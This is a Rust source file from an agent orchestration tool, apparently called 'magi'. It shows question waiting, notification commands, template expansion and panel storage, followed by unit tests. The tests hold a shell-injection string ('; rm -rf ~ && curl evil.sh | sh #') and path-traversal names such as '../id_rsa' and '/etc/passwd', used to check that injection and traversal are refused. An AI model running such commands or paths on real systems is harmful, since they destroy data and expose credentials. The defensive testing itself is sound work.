1753 if now >= deadline {
1754 if !is_the_real_deadline {
1755 return Ok(Wait::Pending);
1759 }
1760 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1761 let (fresh, unread) = store
1765 .update(&q.id, |r| {
1766 let unread = r.unread_from_owner();
1767 if unread.is_none() {
1768 r.abandon(&why);
1769 r.waiter = None;
1770 }
1771 Ok(unread)
1772 })
1773 .context("record the abandoned question")?;
1774 *q = fresh;
1775 if let Some(said) = unread {
1776 return Ok(Wait::Replied(said));
1777 }
1778 tracing::warn!(
1779 "question {} went unanswered for {}s; the run parks and the \
1780 question stays as the record of it",
1781 q.short(),
1782 timeout.as_secs()
1783 );
1784 return Ok(Wait::Abandoned);
1785 }
1786 tokio::time::sleep(poll.min(deadline - now)).await;
1787 store.beat(&q.id, WaiterKind::Asker);
1788 match store.get(&q.id) {
1789 Ok(fresh) if !fresh.status.open() => {
1790 *q = fresh;
1794 return Ok(match q.resolution() {
1795 Some(a) => Wait::Answered(a),
1796 None => Wait::Abandoned,
1799 });
1800 }
1801 Ok(fresh) => {
1802 if let Some(said) = fresh.unread_from_owner() {
1803 *q = fresh;
1804 return Ok(Wait::Replied(said));
1805 }
1806 }
1809 Err(e) => {
1810 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1814 }
1815 }
1816 }
1817}
1818
1819pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1830 notify_text(cmd, &q.run, &q.summary).await
1831}
1832
1833pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1836 let Some((program, args)) = cmd.command.split_first() else {
1837 return Ok(());
1839 };
1840 let url = web_url();
1841 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1842 tracing::warn!(
1843 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1844 so the link will be empty - export it next to `magi serve` with \
1845 the address `magi web --open` printed"
1846 );
1847 }
1848 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1849 tracing::debug!(program = %program, args = ?argv, "notifying");
1850
1851 let mut child = tokio::process::Command::new(program);
1852 child.quiet();
1853 child
1854 .args(&argv)
1855 .stdin(std::process::Stdio::null())
1856 .kill_on_drop(true);
1859 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1860 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1861 Err(_) => bail!(
1862 "notification command `{program}` did not finish within {}s",
1863 NOTIFY_TIMEOUT.as_secs()
1864 ),
1865 };
1866 if !out.status.success() {
1867 let stderr = String::from_utf8_lossy(&out.stderr);
1868 let why = stderr
1869 .lines()
1870 .rev()
1871 .find(|l| !l.trim().is_empty())
1872 .unwrap_or("no output on stderr")
1873 .trim();
1874 bail!(
1875 "notification command `{program}` exited with {}: {why}",
1876 out.status
1877 );
1878 }
1879 Ok(())
1880}
1881
1882fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1888 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1889 let mut out = String::with_capacity(template.len());
1890 let mut rest = template;
1891 while let Some(at) = rest.find('{') {
1892 out.push_str(&rest[..at]);
1893 let tail = &rest[at..];
1894 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1895 Some((token, value)) => {
1896 out.push_str(value);
1897 rest = &tail[token.len()..];
1898 }
1899 None => {
1900 out.push('{');
1902 rest = &tail[1..];
1903 }
1904 }
1905 }
1906 out.push_str(rest);
1907 out
1908}
1909
1910fn web_url() -> String {
1912 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1913}
1914
1915fn question_url(base: &str) -> String {
1922 let base = base.trim().trim_end_matches('/');
1923 if base.is_empty() || base.contains('#') {
1924 return base.to_owned();
1925 }
1926 format!("{base}/#/questions")
1927}
1928
1929fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1934 let index = dir.join(PANEL_HTML);
1935 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1936 for (name, src) in assets {
1937 let dst = dir.join(name);
1938 std::fs::copy(src, &dst)
1939 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1940 }
1941 Ok(())
1942}
1943
1944fn clear_dir(path: &Path) -> Result<()> {
1949 match std::fs::remove_dir_all(path) {
1950 Ok(()) => Ok(()),
1951 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1952 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1953 }
1954}
1955
1956fn read_path(path: &Path) -> Result<Question> {
1957 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1958 let q: Question =
1959 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1960 if q.schema > SCHEMA {
1961 bail!(
1966 "question {} was written by a newer magi (schema {}, this build \
1967 only speaks up to {SCHEMA})",
1968 q.id,
1969 q.schema
1970 );
1971 }
1972 Ok(q)
1973}
1974
1975pub fn short_id(id: &str) -> &str {
1977 short(id)
1978}
1979
1980fn short(id: &str) -> &str {
1981 id.split('-').next_back().unwrap_or(id)
1982}
1983
1984fn new_id() -> String {
1985 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1986 let seed = crate::rng::entropy();
1987 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1988}
1989
1990#[cfg(test)]
1991mod tests {
1992 use super::*;
1993
1994 fn store() -> (tempfile::TempDir, Questions) {
1997 let dir = tempfile::tempdir().unwrap();
1998 let s = Questions::at(dir.path().join("questions"));
1999 (dir, s)
2000 }
2001
2002 #[test]
2003 fn run_names_task_only_for_task_questions() {
2004 for (node, want) in [
2005 (crate::conduct::NODE, true),
2006 (crate::triage::NODE, true),
2007 (crate::triage::DEPS_NODE, true),
2008 (crate::land::APPROVAL_NODE, false),
2009 (crate::bump::NOTICE_NODE, false),
2010 ("implement", false),
2011 ] {
2012 let mut q = choice_question();
2013 q.node = node.to_owned();
2014 assert_eq!(q.run_names_task(), want, "{node}");
2015 }
2016 }
2017
2018 #[test]
2019 fn deleting_a_run_stops_its_questions_asking() {
2020 let (_dir, store) = store();
2021
2022 let mut open_one = choice_question();
2023 store.put(&mut open_one).unwrap();
2024 let mut answered = free_question();
2025 answered
2026 .answer(Answer::Text("keep this".to_owned()))
2027 .unwrap();
2028 store.put(&mut answered).unwrap();
2029 let mut elsewhere = choice_question();
2030 elsewhere.run = "20260903-105039-3cbf".to_owned();
2031 store.put(&mut elsewhere).unwrap();
2032
2033 let n = store
2034 .abandon_for_run(&open_one.run, "run was deleted")
2035 .unwrap();
2036 assert_eq!(n, 1, "only the open question of that run");
2037
2038 let back = store.get(&open_one.id).unwrap();
2039 assert!(!back.status.open(), "it no longer asks for a decision");
2040 assert!(
2041 back.detail.contains("run was deleted"),
2042 "the operator can see why: {}",
2043 back.detail
2044 );
2045
2046 let kept = store.get(&answered.id).unwrap();
2047 assert_eq!(
2048 kept.status,
2049 QuestionStatus::Answered,
2050 "an answered question is a decision on record, not something to revoke"
2051 );
2052 assert!(
2053 store.get(&elsewhere.id).unwrap().status.open(),
2054 "another run's question is untouched"
2055 );
2056 assert!(store.open_for(&open_one.run).is_empty());
2057 }
2058
2059 #[test]
2060 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2061 let (_dir, store) = store();
2062 let mut q = choice_question();
2063 store.put(&mut q).unwrap();
2064
2065 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2067 assert_eq!(n, 0);
2068 assert!(store.get(&q.id).unwrap().status.open());
2069
2070 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2073 assert_eq!(n, 1);
2074 let back = store.get(&q.id).unwrap();
2075 assert!(!back.status.open());
2076 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2077
2078 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2080 }
2081
2082 fn choice_question() -> Question {
2083 Question::new(
2084 "20260902-201256-9fb7".to_owned(),
2085 "implement".to_owned(),
2086 "impl-A".to_owned(),
2087 "Which storage backend should the cache use?".to_owned(),
2088 "Both are already dependencies.".to_owned(),
2089 vec!["SQLite".to_owned(), "Redis".to_owned()],
2090 )
2091 }
2092
2093 fn free_question() -> Question {
2094 Question::new(
2095 "20260902-201256-9fb7".to_owned(),
2096 "review".to_owned(),
2097 "rev-1".to_owned(),
2098 "What should the error message say?".to_owned(),
2099 String::new(),
2100 Vec::new(),
2101 )
2102 }
2103
2104 fn quiet() -> config::Notify {
2106 config::Notify::default()
2107 }
2108
2109 #[test]
2110 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2111 let mut q = choice_question();
2115 q.id = "20260902-231501-ab12".to_owned();
2116 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2117 let keys: Vec<&str> = open
2121 .as_object()
2122 .unwrap()
2123 .keys()
2124 .map(String::as_str)
2125 .collect();
2126 assert_eq!(
2127 keys,
2128 [
2129 "actions",
2130 "answer",
2131 "answer_delivered",
2132 "answer_timeout",
2133 "answered_at",
2134 "asked_at",
2135 "assets",
2136 "choices",
2137 "consult",
2138 "cwd",
2139 "decision_context",
2140 "delivered_turns",
2141 "deputy",
2142 "detail",
2143 "id",
2144 "node",
2145 "panel",
2146 "run",
2147 "schema",
2148 "seat",
2149 "status",
2150 "summary",
2151 "thread",
2152 "triage_generation",
2153 "waiter",
2154 ],
2155 "the on-disk field set is a contract with the front end"
2156 );
2157 assert_eq!(open["schema"], 10);
2158 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2159 assert_eq!(open["thread"], serde_json::json!([]));
2160 assert_eq!(open["id"], "20260902-231501-ab12");
2161 assert_eq!(open["run"], "20260902-201256-9fb7");
2162 assert_eq!(open["node"], "implement");
2163 assert_eq!(open["seat"], "impl-A");
2164 assert_eq!(open["status"], "open");
2165 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2166 assert_eq!(open["answered_at"], serde_json::Value::Null);
2167 assert_eq!(open["answer"], serde_json::Value::Null);
2168 let asked = open["asked_at"].as_str().unwrap();
2169 assert!(
2170 asked.ends_with('Z') && asked.contains('T'),
2171 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2172 );
2173
2174 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2176 let answered = serde_json::to_value(&q).unwrap();
2177 assert_eq!(answered["status"], "answered");
2178 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2179 assert!(answered["answered_at"].is_string());
2180
2181 let mut free = free_question();
2183 free.answer(Answer::Text("Say which file it was".to_owned()))
2184 .unwrap();
2185 assert_eq!(
2186 serde_json::to_value(&free).unwrap()["answer"],
2187 serde_json::json!({"text": "Say which file it was"})
2188 );
2189
2190 let body = serde_json::to_string(&q).unwrap();
2192 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2193 }
2194
2195 #[test]
2196 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2197 let mut unoffered = choice_question();
2200 let a = unoffered
2201 .answer(Answer::Choice("Postgres".to_owned()))
2202 .unwrap_err()
2203 .to_string();
2204
2205 let mut typed = choice_question();
2206 let b = typed
2207 .answer(Answer::Text("use Postgres".to_owned()))
2208 .unwrap_err()
2209 .to_string();
2210
2211 let mut blank = free_question();
2212 let c = blank
2213 .answer(Answer::Text(" \n".to_owned()))
2214 .unwrap_err()
2215 .to_string();
2216
2217 let mut twice = choice_question();
2218 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2219 let d = twice
2220 .answer(Answer::Choice("Redis".to_owned()))
2221 .unwrap_err()
2222 .to_string();
2223
2224 assert!(a.contains("not one of the choices"), "{a}");
2225 assert!(b.contains("multiple choice"), "{b}");
2226 assert!(c.contains("empty"), "{c}");
2227 assert!(d.contains("already answered"), "{d}");
2228 let mut distinct = vec![a, b, c, d];
2229 let asked = distinct.len();
2230 distinct.sort_unstable();
2231 distinct.dedup();
2232 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2233
2234 assert_eq!(unoffered.status, QuestionStatus::Open);
2236 assert_eq!(typed.status, QuestionStatus::Open);
2237 assert_eq!(blank.status, QuestionStatus::Open);
2238 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2240
2241 let mut free = free_question();
2243 let e = free
2244 .answer(Answer::Choice("SQLite".to_owned()))
2245 .unwrap_err()
2246 .to_string();
2247 assert!(e.contains("free text"), "{e}");
2248 }
2249
2250 #[test]
2251 fn open_questions_are_listed_before_answered_ones() {
2252 let (_dir, s) = store();
2253 let mut old_open = choice_question();
2256 old_open.id = "20260101-000001-aaaa".to_owned();
2257 let mut new_open = choice_question();
2258 new_open.id = "20260101-000002-bbbb".to_owned();
2259 let mut answered = choice_question();
2260 answered.id = "20260101-000003-cccc".to_owned();
2261 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2262 for q in [&mut old_open, &mut new_open, &mut answered] {
2263 s.put(q).unwrap();
2264 }
2265
2266 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2267 assert_eq!(
2268 ids,
2269 [
2270 "20260101-000002-bbbb",
2271 "20260101-000001-aaaa",
2272 "20260101-000003-cccc"
2273 ],
2274 "what has stopped work comes first; history sorts underneath"
2275 );
2276 assert_eq!(s.count_open(), 2);
2277 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2278 assert!(s.open_for("some-other-run").is_empty());
2279 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2281 assert!(s.get("20260101-000002-bbbb").is_ok());
2282 assert!(s.resolve_id("nope").is_err());
2283 assert!(
2284 s.revision() > 0,
2285 "the store's mtime drives the phone's polling"
2286 );
2287 }
2288
2289 #[test]
2290 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2291 let (_dir, s) = store();
2292 let mut good = choice_question();
2293 s.put(&mut good).unwrap();
2294 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2296 let future = serde_json::json!({
2297 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2298 "seat": "s", "summary": "?", "detail": "", "choices": [],
2299 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2300 "answered_at": null, "answer": null,
2301 });
2302 std::fs::write(
2303 s.path_of("20260101-000010-beef"),
2304 serde_json::to_string(&future).unwrap(),
2305 )
2306 .unwrap();
2307
2308 let listed = s.list();
2309 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2310 assert_eq!(listed[0].id, good.id);
2311 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2313 assert!(e.contains("schema"), "{e}");
2314 }
2315
2316 #[tokio::test]
2317 async fn the_wait_returns_the_answer_another_process_wrote() {
2318 let (dir, s) = store();
2323 let mut q = choice_question();
2324 let id = q.id.clone();
2325 let writer = Questions::at(dir.path().join("questions"));
2326 let handle = tokio::spawn(async move {
2327 tokio::time::sleep(Duration::from_millis(30)).await;
2328 let mut fresh = writer.get(&id).expect("the question was filed first");
2329 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2330 writer.put(&mut fresh).unwrap();
2331 });
2332
2333 let got = wait_for_owner(
2334 &mut q,
2335 &s,
2336 &quiet(),
2337 Duration::from_secs(5),
2338 Duration::from_millis(10),
2339 )
2340 .await
2341 .unwrap();
2342
2343 handle.await.unwrap();
2344 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2345 assert_eq!(
2346 q.status,
2347 QuestionStatus::Answered,
2348 "the caller's copy is refreshed from the answering process's record"
2349 );
2350 assert!(q.answered_at.is_some());
2351 }
2352
2353 #[tokio::test]
2354 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2355 let (_dir, s) = store();
2356 let mut q = choice_question();
2357
2358 let got = wait_for_owner(
2359 &mut q,
2360 &s,
2361 &quiet(),
2362 Duration::from_millis(60),
2363 Duration::from_millis(10),
2364 )
2365 .await
2366 .unwrap();
2367
2368 assert_eq!(
2369 got,
2370 Wait::Abandoned,
2371 "a slow human is not an error; the run parks"
2372 );
2373 assert_eq!(q.status, QuestionStatus::Abandoned);
2374 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2375 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2376 assert!(
2377 on_disk.detail.contains("Abandoned:"),
2378 "why nobody answered belongs with the question: {}",
2379 on_disk.detail
2380 );
2381 assert!(on_disk.resolution().is_none());
2382 assert_eq!(s.count_open(), 0);
2383 }
2384
2385 #[tokio::test]
2386 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2387 let (_dir, s) = store();
2392 let mut q = choice_question();
2393 s.put(&mut q).unwrap();
2394
2395 let got = wait_loop(
2396 &mut q,
2397 &s,
2398 Duration::from_secs(3600),
2399 Duration::from_millis(30),
2400 Duration::from_millis(10),
2401 )
2402 .await
2403 .unwrap();
2404
2405 assert_eq!(
2406 got,
2407 Wait::Pending,
2408 "the clock on this call ran out, not the owner's patience"
2409 );
2410 assert_eq!(
2411 q.status,
2412 QuestionStatus::Open,
2413 "a slice expiring must never abandon the question"
2414 );
2415 let on_disk = s.get(&q.id).expect("still on disk, still open");
2416 assert_eq!(
2417 on_disk.status,
2418 QuestionStatus::Open,
2419 "nothing about the record changed just because this call gave up"
2420 );
2421 }
2422
2423 #[tokio::test]
2424 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2425 let (dir, s) = store();
2430 let mut q = choice_question();
2431 s.put(&mut q).unwrap();
2432
2433 let first = wait_loop(
2434 &mut q,
2435 &s,
2436 Duration::from_secs(3600),
2437 Duration::from_millis(30),
2438 Duration::from_millis(10),
2439 )
2440 .await
2441 .unwrap();
2442 assert_eq!(first, Wait::Pending);
2443
2444 let id = q.id.clone();
2445 let writer = Questions::at(dir.path().join("questions"));
2446 let mut fresh = writer.get(&id).unwrap();
2447 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2448 writer.put(&mut fresh).unwrap();
2449
2450 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2455 .await
2456 .unwrap();
2457 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2458 assert_eq!(q.status, QuestionStatus::Answered);
2459 }
2460
2461 #[tokio::test]
2462 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2463 let (dir, s) = store();
2473 let mut q = choice_question();
2474 s.put(&mut q).unwrap();
2475
2476 let first = wait_loop(
2477 &mut q,
2478 &s,
2479 Duration::from_secs(3600),
2480 Duration::from_millis(30),
2481 Duration::from_millis(10),
2482 )
2483 .await
2484 .unwrap();
2485 assert_eq!(first, Wait::Pending);
2486
2487 let id = q.id.clone();
2489 let writer = Questions::at(dir.path().join("questions"));
2490 let mut fresh = writer.get(&id).unwrap();
2491 fresh.say("why not Postgres?").unwrap();
2492 writer.put(&mut fresh).unwrap();
2493
2494 let mut resumed = s.get(&id).unwrap();
2498 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2499 .await
2500 .unwrap();
2501 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2502 assert_eq!(
2503 resumed.status,
2504 QuestionStatus::Open,
2505 "talking back is not a decision; the question stays open"
2506 );
2507 }
2508
2509 #[tokio::test]
2510 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2511 let (dir, s) = store();
2515 let broken = config::Notify {
2516 command: vec![
2517 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2518 "{summary}".to_owned(),
2519 ],
2520 };
2521 let mut q = choice_question();
2522 assert!(
2523 notify(&broken, &q).await.is_err(),
2524 "the caller is told; it decides that it does not matter"
2525 );
2526
2527 let id = q.id.clone();
2528 let writer = Questions::at(dir.path().join("questions"));
2529 let handle = tokio::spawn(async move {
2530 tokio::time::sleep(Duration::from_millis(30)).await;
2531 let mut fresh = writer.get(&id).unwrap();
2532 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2533 writer.put(&mut fresh).unwrap();
2534 });
2535 let got = wait_for_owner(
2536 &mut q,
2537 &s,
2538 &broken,
2539 Duration::from_secs(5),
2540 Duration::from_millis(10),
2541 )
2542 .await
2543 .unwrap();
2544 handle.await.unwrap();
2545 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2546
2547 assert!(notify(&quiet(), &q).await.is_ok());
2549 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2550 }
2551
2552 #[test]
2553 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2554 let mut q = choice_question();
2555 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2556 let template = [
2557 "ntfy".to_owned(),
2558 "publish".to_owned(),
2559 "--click".to_owned(),
2560 "{url}".to_owned(),
2561 "--title".to_owned(),
2562 "magi {run} needs you".to_owned(),
2563 "{summary}".to_owned(),
2564 ];
2565 let argv: Vec<String> = template
2566 .iter()
2567 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2568 .collect();
2569
2570 assert_eq!(
2571 argv,
2572 [
2573 "ntfy",
2574 "publish",
2575 "--click",
2576 "http://100.64.0.1:7777/#/questions",
2577 "--title",
2578 "magi 20260902-201256-9fb7 needs you",
2579 "; rm -rf ~ && curl evil.sh | sh #",
2580 ],
2581 "the shell metacharacters are one argument's contents, not syntax"
2582 );
2583
2584 q.summary = "should {url} be configurable?".to_owned();
2587 assert_eq!(
2588 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2589 "should {url} be configurable?"
2590 );
2591 assert_eq!(
2593 expand("{title}: {run}", &q.run, &q.summary, ""),
2594 "{title}: 20260902-201256-9fb7"
2595 );
2596 assert_eq!(
2597 expand("no placeholders", &q.run, &q.summary, "http://x"),
2598 "no placeholders"
2599 );
2600 }
2601
2602 #[test]
2603 fn the_notification_link_lands_on_the_view_that_can_answer() {
2604 assert_eq!(
2605 question_url("http://100.64.0.1:7777"),
2606 "http://100.64.0.1:7777/#/questions"
2607 );
2608 assert_eq!(
2609 question_url("http://100.64.0.1:7777/"),
2610 "http://100.64.0.1:7777/#/questions"
2611 );
2612 assert_eq!(
2614 question_url("http://magi.ts.net/#/runs"),
2615 "http://magi.ts.net/#/runs"
2616 );
2617 assert_eq!(question_url(" "), "");
2619 }
2620
2621 fn panelled() -> Question {
2623 let mut q = choice_question();
2624 q.id = "20260903-014455-ab12".to_owned();
2625 q
2626 }
2627
2628 #[test]
2629 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2630 let (dir, s) = store();
2631 let work = dir.path().join("worktree");
2632 std::fs::create_dir_all(&work).unwrap();
2633 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2634 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2635
2636 let mut q = panelled();
2637 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2638 s.put_panel(
2639 &mut q,
2640 html,
2641 &[work.join("table.png"), work.join("diff.svg")],
2642 )
2643 .unwrap();
2644 s.put(&mut q).unwrap();
2645
2646 assert!(q.panel);
2647 assert_eq!(
2648 q.assets,
2649 ["diff.svg", "table.png"],
2650 "sorted, not in the order the agent happened to pass them"
2651 );
2652 assert_eq!(
2653 s.panel_html(&q.id).as_deref(),
2654 Some(html),
2655 "the html is stored byte for byte; the agent authored the markup"
2656 );
2657 assert_eq!(
2658 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2659 Some(&b"<svg/>"[..])
2660 );
2661
2662 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2664 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2665 assert_eq!(json["panel"], true);
2666 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2667 let back = s.get(&q.id).unwrap();
2668 assert!(back.panel);
2669 assert_eq!(back.assets, q.assets);
2670
2671 std::fs::remove_dir_all(&work).unwrap();
2674 assert_eq!(
2675 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2676 Some(&b"\x89PNG"[..]),
2677 "a referenced asset would be gone with the worktree"
2678 );
2679 }
2680
2681 #[test]
2682 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2683 let (dir, s) = store();
2684 let mut q = panelled();
2685 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2686 s.put(&mut q).unwrap();
2687
2688 let secret = "this must never reach the browser";
2691 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2692 assert_eq!(
2693 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2694 secret,
2695 "the traversal is real: the operating system resolves this path \
2696 happily, which is why the name has to be refused before the join"
2697 );
2698
2699 let long = "x".repeat(200);
2700 for name in [
2701 "..",
2702 "../id_rsa",
2703 "..\\id_rsa",
2704 "sub/../id_rsa",
2705 "/",
2706 "\\",
2707 "/etc/passwd",
2708 "C:\\Windows\\win.ini",
2709 "",
2710 ".hidden",
2711 ".",
2712 long.as_str(),
2713 ] {
2714 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2715 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2716 assert!(
2717 e.contains("not a panel file name"),
2718 "`{name}` must be refused as a name, not attempted: {e}"
2719 );
2720 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2721 }
2722 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2725
2726 let hidden = dir.path().join(".hidden");
2729 std::fs::write(&hidden, "x").unwrap();
2730 let e = s
2731 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2732 .unwrap_err()
2733 .to_string();
2734 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2735 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2736 assert!(q.assets.is_empty());
2737 }
2738
2739 #[test]
2740 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2741 let (dir, s) = store();
2742 let mut q = panelled();
2743 s.put(&mut q).unwrap();
2744
2745 let big = dir.path().join("recording.png");
2748 std::fs::File::create(&big)
2749 .unwrap()
2750 .set_len(PANEL_MAX_BYTES)
2751 .unwrap();
2752
2753 let html = "<p>see the recording</p>";
2754 let total = PANEL_MAX_BYTES + html.len() as u64;
2755 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2756 assert!(
2757 e.contains(&PANEL_MAX_BYTES.to_string()),
2758 "the cap is named so the agent knows the limit: {e}"
2759 );
2760 assert!(
2761 e.contains(&total.to_string()),
2762 "the actual size is named so the agent knows by how much: {e}"
2763 );
2764
2765 assert!(!q.panel);
2766 assert!(q.assets.is_empty());
2767 let left: Vec<String> = std::fs::read_dir(s.root())
2768 .unwrap()
2769 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2770 .collect();
2771 assert_eq!(
2772 left,
2773 [format!("{}.json", q.id)],
2774 "a refused panel leaves neither a directory nor scratch: {left:?}"
2775 );
2776 }
2777
2778 #[test]
2779 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2780 let (dir, s) = store();
2781 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2782 std::fs::create_dir_all(&before).unwrap();
2783 std::fs::create_dir_all(&after).unwrap();
2784 std::fs::write(before.join("diff.png"), "before").unwrap();
2785 std::fs::write(after.join("diff.png"), "after").unwrap();
2786
2787 let mut q = panelled();
2788 let e = s
2789 .put_panel(
2790 &mut q,
2791 "<p>x</p>",
2792 &[before.join("diff.png"), after.join("diff.png")],
2793 )
2794 .unwrap_err()
2795 .to_string();
2796 assert!(e.contains("diff.png"), "{e}");
2797 assert!(
2798 e.contains("before") && e.contains("after"),
2799 "both sources are named, because the fix is to rename one: {e}"
2800 );
2801 assert!(!q.panel);
2802 assert!(!s.panel_dir(&q.id).exists());
2803 }
2804
2805 #[test]
2806 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2807 let (dir, s) = store();
2808 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2809 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2810
2811 let mut q = panelled();
2812 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2813 .unwrap();
2814 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2815 .unwrap();
2816
2817 assert_eq!(q.assets, ["new.png"]);
2818 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2819 assert!(
2820 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2821 "an asset from the first attempt would show a mix of two answers"
2822 );
2823
2824 s.drop_panel(&q.id).unwrap();
2825 assert!(s.panel_html(&q.id).is_none());
2826 assert!(!s.panel_dir(&q.id).exists());
2827 s.drop_panel(&q.id)
2828 .expect("dropping a panel that is already gone is the desired state");
2829 }
2830
2831 #[test]
2832 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2833 let (_dir, s) = store();
2834 let mut q = panelled();
2835 s.put(&mut q).unwrap();
2836
2837 assert!(!q.panel);
2838 assert!(s.panel_html(&q.id).is_none());
2839 assert!(
2840 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2841 "a missing file is a 404 for the caller, not a failure of the store"
2842 );
2843 let json = serde_json::to_value(&q).unwrap();
2844 assert_eq!(json["panel"], false);
2845 assert_eq!(json["assets"], serde_json::json!([]));
2846
2847 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2850 assert!(e.contains("empty panel"), "{e}");
2851 assert!(!s.panel_dir(&q.id).exists());
2852 }
2853
2854 #[test]
2855 fn a_question_written_before_panels_existed_still_deserialises() {
2856 let (_dir, s) = store();
2857 std::fs::create_dir_all(s.root()).unwrap();
2858 let id = "20260902-231501-ab12";
2859 let body = r#"{
2861 "schema": 1,
